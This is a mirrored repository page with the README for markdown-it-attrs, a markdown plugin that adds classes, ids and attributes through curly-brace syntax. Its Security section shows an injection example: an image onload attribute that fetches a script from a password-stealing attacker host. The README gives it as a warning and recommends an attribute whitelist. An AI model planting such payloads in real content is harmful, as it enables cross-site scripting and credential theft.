# markdown-it-attrs

**Repository Path**: mirrors_ibm/markdown-it-attrs

## Basic Information

- **Project Name**: markdown-it-attrs
- **Description**: This repo is to supplement the existing github.com/IBM/marked-it and github.com/IBM/marked-it-cli for the IBM Cloud marked-it project.
- **Primary Language**: Unknown
- **License**: MIT
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No

## Statistics

- **Stars**: 0
- **Forks**: 0
- **Created**: 2021-07-31
- **Last Updated**: 2026-07-05

## Categories & Tags

**Categories**: Uncategorized

**Tags**: None

## README

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Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).

Example input:
```md
# header {.style-me}
paragraph {data-toggle=modal}
```

Output:
```html
<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>
```

Works with inline elements too:
```md
paragraph *style me*{.red} more text
```

Output:
```html
<p>paragraph <em class="red">style me</em> more text</p>
```

And fenced code blocks:
<pre><code>
```python {data=asdf}
nums = [x for x in range(10)]
```
</code></pre>

Output:
```html
<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>
```

You can use `..` as a short-hand for `css-module=`:

```md
Use the css-module green on this paragraph. {..green}
```

Output:
```html
<p css-module="green">Use the css-module green on this paragraph.</p>
```

Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):

```md
paragraph with [a style me span]{.red}
```

Output:
```html
<p>paragraph with <span class="red">a style me span</span></p>
```

Attribute definition lists support inheritance of attributes based on [Kramdown Syntax](https://kramdown.gettalong.org/syntax.html#attribute-list-definitions).  These must be preceded and followed by an empty line.

Example input:
```md
{:aldOne: #someid .someclass attr="allowed"}
{:aldTwo: aldOne #anotherid .anotherclass anotherattr="allowed"}

another text
{:aldTwo}
```

Output:
```html
<p class="someclass anotherclass" attr="allowed" id="anotherid" anotherattr="allowed">another text</p>
```

## Install

```
$ npm install --save markdown-it-attrs
```


## Usage

```js
var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);
```

[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)


## Security
A user may insert rogue attributes like this:
```js
![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
```

If security is a concern, use an attribute whitelist:

```js
md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});
```

Now only `id`, `class` and attributes beginning with `regex` are allowed:

```md
text {#red .green regex=allowed onclick=alert('hello')}
```

Output:
```html
<p id="red" class="green" regex="allowed">text</p>
```

## Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
```md
- list item **bold**{.red}
```

Output:
```html
<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>
```

If you need the class to apply to the list item instead, use a space:
```md
- list item **bold** {.red}
```

Output:
```html
<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>
```

If you need the class to apply to the `<ul>` element, use a new line:
```md
- list item **bold**
{.red}
```

Output:
```html
<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>
```

If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>`. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by its own:
```md
- item
  - nested item {.a}
{.b}

{.c}
```

Output:
```html
<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>
```

This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

Similar for tables, attributes must be _two_ new lines below:
```md
header1 | header2
------- | -------
column1 | column2

{.special}
```

Output:
```html
<table class="special">
  <thead>
    <tr>
      <th>header1</th>
      <th>header2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>column1</td>
      <td>column2</td>
    </tr>
  </tbody>
</table>
```

If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.

## Custom rendering
If you would like some other output, you can override renderers:

```js
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));
```

Output:
```html
<pre class="abcd"><code>var a = 1;
</code></pre>
```

Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).


## Custom blocks
`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).

Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.

## Custom delimiters

To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:

```js
md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});
```

Which will render

```md
# title [.large]
```

as

```html
<h1 class="large">title</h1>
```

## License

MIT © [Arve Seljebu](http://arve0.github.io/)